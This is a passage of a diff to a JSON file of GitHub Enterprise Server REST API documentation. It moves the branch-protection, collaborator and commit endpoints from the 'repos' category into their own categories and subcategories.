+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -40534,10 +40530,10 @@
       "subcategory": "branches"
     },
     "slug": "get-all-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40663,10 +40659,10 @@
       "subcategory": "branches"
     },
     "slug": "add-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40816,10 +40812,10 @@
       "subcategory": "branches"
     },
     "slug": "set-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -40963,10 +40959,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-status-check-contexts",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>",
@@ -41067,10 +41063,10 @@
       "subcategory": "branches"
     },
     "slug": "get-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists who has access to this protected branch.</p>\n<p><strong>Note</strong>: Users, apps, and teams <code>restrictions</code> are only available for organization-owned repositories.</p>",
@@ -41152,10 +41148,10 @@
       "subcategory": "branches"
     },
     "slug": "delete-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "responses": [
       {
@@ -41231,10 +41227,10 @@
       "subcategory": "branches"
     },
     "slug": "get-apps-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the GitHub Apps that have push access to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>",
@@ -41359,10 +41355,10 @@
       "subcategory": "branches"
     },
     "slug": "add-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified apps push access for this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41501,10 +41497,10 @@
       "subcategory": "branches"
     },
     "slug": "set-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of apps that have push access to this branch. This removes all apps that previously had push access and grants push access to the new list of apps. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41642,10 +41638,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-app-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of an app to push to this branch. Only installed GitHub Apps with <code>write</code> access to the <code>contents</code> permission can be added as authorized actors on a protected branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The GitHub Apps that have push access to this branch. Use the app's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -41741,10 +41737,10 @@
       "subcategory": "branches"
     },
     "slug": "get-teams-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the teams who have push access to this branch. The list includes child teams.</p>",
@@ -41870,10 +41866,10 @@
       "subcategory": "branches"
     },
     "slug": "add-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified teams push access for this branch. You can also give push access to child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42013,10 +42009,10 @@
       "subcategory": "branches"
     },
     "slug": "set-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of teams that have push access to this branch. This removes all teams that previously had push access and grants push access to the new list of teams. Team restrictions include child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>The teams that can have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42155,10 +42151,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-team-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a team to push to this branch. You can also remove push access for child teams.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Teams that should no longer have push access. Use the team's <code>slug</code>. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42254,10 +42250,10 @@
       "subcategory": "branches"
     },
     "slug": "get-users-with-access-to-the-protected-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Lists the people who have push access to this branch.</p>",
@@ -42382,10 +42378,10 @@
       "subcategory": "branches"
     },
     "slug": "add-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Grants the specified people push access for this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42524,10 +42520,10 @@
       "subcategory": "branches"
     },
     "slug": "set-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Replaces the list of people that have push access to this branch. This removes all people that previously had push access and grants push access to the new list of people.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames for people who can have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42665,10 +42661,10 @@
       "subcategory": "branches"
     },
     "slug": "remove-user-access-restrictions",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
+    "subcategory": "branch-protection",
+    "subcategoryLabel": "Branch protection",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Removes the ability of a user to push to this branch.</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>array</code></td><td>Usernames of the people who should no longer have push access. <strong>Note</strong>: The list of users, apps, and teams in total is limited to 100 items.</td></tr></tbody></table>",
@@ -42791,10 +42787,8 @@
       "subcategory": "branches"
     },
     "slug": "rename-a-branch",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "branches",
-    "subcategoryLabel": "Branches",
+    "category": "branches",
+    "categoryLabel": "Branches",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>Renames a branch in a repository.</p>\n<p><strong>Note:</strong> Although the API responds immediately, the branch rename process might take some extra time to complete in the background. You won't be able to push to the old branch name while the rename process is in progress. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.3/github/administering-a-repository/renaming-a-branch\">Renaming a branch</a>\".</p>\n<p>The permissions required to use this endpoint depends on whether you are renaming the default branch.</p>\n<p>To rename a non-default branch:</p>\n<ul>\n<li>Users must have push access.</li>\n<li>GitHub Apps must have the <code>contents:write</code> repository permission.</li>\n</ul>\n<p>To rename the default branch:</p>\n<ul>\n<li>Users must have admin or owner permissions.</li>\n<li>GitHub Apps must have the <code>administration:write</code> repository permission.</li>\n</ul>",
@@ -49153,10 +49147,8 @@
       "subcategory": "collaborators"
     },
     "slug": "list-repository-collaborators",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>For organization-owned repositories, the list of collaborators includes outside collaborators, organization members that are direct collaborators, organization members with access through team memberships, organization members with access through default organization permissions, and organization owners.</p>\n<p>Team members will include the members of child teams.</p>\n<p>You must have push access to the repository in order to list collaborators.</p>",
@@ -49236,10 +49228,8 @@
       "subcategory": "collaborators"
     },
     "slug": "check-if-a-user-is-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "responses": [
       {
@@ -49357,10 +49347,8 @@
       "subcategory": "collaborators"
     },
     "slug": "add-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "contentType": "application/json",
     "notes": [],
     "descriptionHTML": "<p>This endpoint triggers <a href=\"https://docs.github.com/en/github/managing-subscriptions-and-notifications-on-github/about-notifications\">notifications</a>. Creating content too quickly using this endpoint may result in secondary rate limiting. See \"<a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/resources-in-the-rest-api#secondary-rate-limits\">Secondary rate limits</a>\" and \"<a href=\"https://docs.github.com/enterprise-server@3.3/rest/guides/best-practices-for-integrators#dealing-with-secondary-rate-limits\">Dealing with secondary rate limits</a>\" for details.</p>\n<p>For more information on permission levels, see \"<a href=\"https://help.github.com/en/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization#permission-levels-for-repositories-owned-by-an-organization\">Repository permission levels for an organization</a>\". There are restrictions on which permissions can be granted to organization members when an organization base role is in place. In this case, the permission being given must be equal to or higher than the org base permission. Otherwise, the request will fail with:</p>\n<pre><code>Cannot assign {member} permission of {role name}\n</code></pre>\n<p>Note that, if you choose not to pass any parameters, you'll need to set <code>Content-Length</code> to zero when calling out to this endpoint. For more information, see \"<a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/resources-in-the-rest-api#http-verbs\">HTTP verbs</a>.\"</p>\n<p>The invitee will receive a notification that they have been invited to the repository, which they must accept or decline. They may do this via the notifications page, the email they receive, or by using the <a href=\"https://docs.github.com/enterprise-server@3.3/rest/reference/repos#invitations\">repository invitations API endpoints</a>.</p>\n<p><strong>Rate limits</strong></p>\n<p>You are limited to sending 50 invitations to a repository per 24 hour period. Note there is no limit if you are inviting organization members to an organization repository.</p>",
@@ -49478,10 +49466,8 @@
       "subcategory": "collaborators"
     },
     "slug": "remove-a-repository-collaborator",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "descriptionHTML": "",
     "responses": [
@@ -49555,10 +49541,8 @@
       "subcategory": "collaborators"
     },
     "slug": "get-repository-permissions-for-a-user",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "collaborators",
-    "subcategoryLabel": "Collaborators",
+    "category": "collaborators",
+    "categoryLabel": "Collaborators",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Checks the repository permission of a collaborator. The possible repository permissions are <code>admin</code>, <code>write</code>, <code>read</code>, and <code>none</code>.</p>",
@@ -49649,8 +49633,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments-for-a-repository",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -49728,8 +49712,8 @@
       "subcategory": "comments"
     },
     "slug": "get-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -49839,8 +49823,8 @@
       "subcategory": "comments"
     },
     "slug": "update-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -49934,8 +49918,8 @@
       "subcategory": "comments"
     },
     "slug": "delete-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -50437,10 +50421,8 @@
       "subcategory": "commits"
     },
     "slug": "list-commits",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the signature.</td></tr><tr><td><code>unknown_key</code></td><td>The key that made the signature has not been registered with any user's account.</td></tr><tr><td><code>malformed_signature</code></td><td>There was an error parsing the signature.</td></tr><tr><td><code>invalid</code></td><td>The signature could not be cryptographically verified using the key whose key-id was found in the signature.</td></tr><tr><td><code>valid</code></td><td>None of the above errors applied, so the signature is considered to be verified.</td></tr></tbody></table>",
@@ -50537,10 +50519,8 @@
       "subcategory": "commits"
     },
     "slug": "list-branches-for-head-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Protected branches are available in public repositories with GitHub Free and GitHub Free for organizations, and in public and private repositories with GitHub Pro, GitHub Team, GitHub Enterprise Cloud, and GitHub Enterprise Server. For more information, see <a href=\"https://help.github.com/github/getting-started-with-github/githubs-products\">GitHub's products</a> in the GitHub Help documentation.</p>\n<p>Returns all branches where the given commit SHA is the HEAD, or latest commit for the branch.</p>",
@@ -50642,8 +50622,8 @@
       "subcategory": "comments"
     },
     "slug": "list-commit-comments",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "notes": [],
@@ -50780,8 +50760,8 @@
       "subcategory": "comments"
     },
     "slug": "create-a-commit-comment",
-    "category": "repos",
-    "categoryLabel": "Repos",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "subcategory": "comments",
     "subcategoryLabel": "Comments",
     "contentType": "application/json",
@@ -50928,10 +50908,8 @@
       "subcategory": "commits"
     },
     "slug": "list-pull-requests-associated-with-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Lists the merged pull request that introduced the commit to the repository. If the commit is not present in the default branch, additionally returns open pull requests associated with the commit. The results may include open and closed pull requests. Additional preview headers may be required to see certain details for associated pull requests, such as whether a pull request is in a draft state. For more information about previews that might affect this endpoint, see the <a href=\"https://docs.github.com/enterprise-server@3.3/rest/reference/pulls#list-pull-requests\">List pull requests</a> endpoint.</p>",
@@ -51028,10 +51006,8 @@
       "subcategory": "commits"
     },
     "slug": "get-a-commit",
-    "category": "repos",
-    "categoryLabel": "Repos",
-    "subcategory": "commits",
-    "subcategoryLabel": "Commits",
+    "category": "commits",
+    "categoryLabel": "Commits",
     "notes": [],
     "bodyParameters": [],
     "descriptionHTML": "<p>Returns the contents of a single commit reference. You must have <code>read</code> access for the repository to use this endpoint.</p>\n<p><strong>Note:</strong> If there are more than 300 files in the commit diff, the response will include pagination link headers for the remaining files, up to a limit of 3000 files. Each page contains the static commit information, and the only changes are to the file listing.</p>\n<p>You can pass the appropriate <a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> to  fetch <code>diff</code> and <code>patch</code> formats. Diffs with binary data will have no <code>patch</code> property.</p>\n<p>To return only the SHA-1 hash of the commit reference, you can provide the <code>sha</code> custom <a href=\"https://docs.github.com/enterprise-server@3.3/rest/overview/media-types/#commits-commit-comparison-and-pull-requests\">media type</a> in the <code>Accept</code> header. You can use this endpoint to check if a remote reference's SHA-1 hash is the same as your local reference's SHA-1 hash by providing the local SHA-1 reference as the ETag.</p>\n<p><strong>Signature verification object</strong></p>\n<p>The response will include a <code>verification</code> object that describes the result of verifying the commit's signature. The following fields are included in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Name</th><th>Type</th><th>Description</th></tr></thead><tbody><tr><td><code>verified</code></td><td><code>boolean</code></td><td>Indicates whether GitHub considers the signature in this commit to be verified.</td></tr><tr><td><code>reason</code></td><td><code>string</code></td><td>The reason for verified value. Possible values and their meanings are enumerated in table below.</td></tr><tr><td><code>signature</code></td><td><code>string</code></td><td>The signature that was extracted from the commit.</td></tr><tr><td><code>payload</code></td><td><code>string</code></td><td>The value that was signed.</td></tr></tbody></table>\n<p>These are the possible values for <code>reason</code> in the <code>verification</code> object:</p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<table><thead><tr><th>Value</th><th>Description</th></tr></thead><tbody><tr><td><code>expired_key</code></td><td>The key that made the signature is expired.</td></tr><tr><td><code>not_signing_key</code></td><td>The \"signing\" flag is not among the usage flags in the GPG key that made the signature.</td></tr><tr><td><code>gpgverify_error</code></td><td>There was an error communicating with the signature verification service.</td></tr><tr><td><code>gpgverify_unavailable</code></td><td>The signature verification service is currently unavailable.</td></tr><tr><td><code>unsigned</code></td><td>The object does not include a signature.</td></tr><tr><td><code>unknown_signature_type</code></td><td>A non-PGP signature was found in the commit.</td></tr><tr><td><code>no_user</code></td><td>No user was associated with the <code>committer</code> email address in the commit.</td></tr><tr><td><code>unverified_email</code></td><td>The <code>committer</code> email address in the commit was associated with a user, but the email address is not verified on her/his account.</td></tr><tr><td><code>bad_email</code></td><td>The <code>committer</code> email address in the commit is not included in the identities of the PGP key that made the 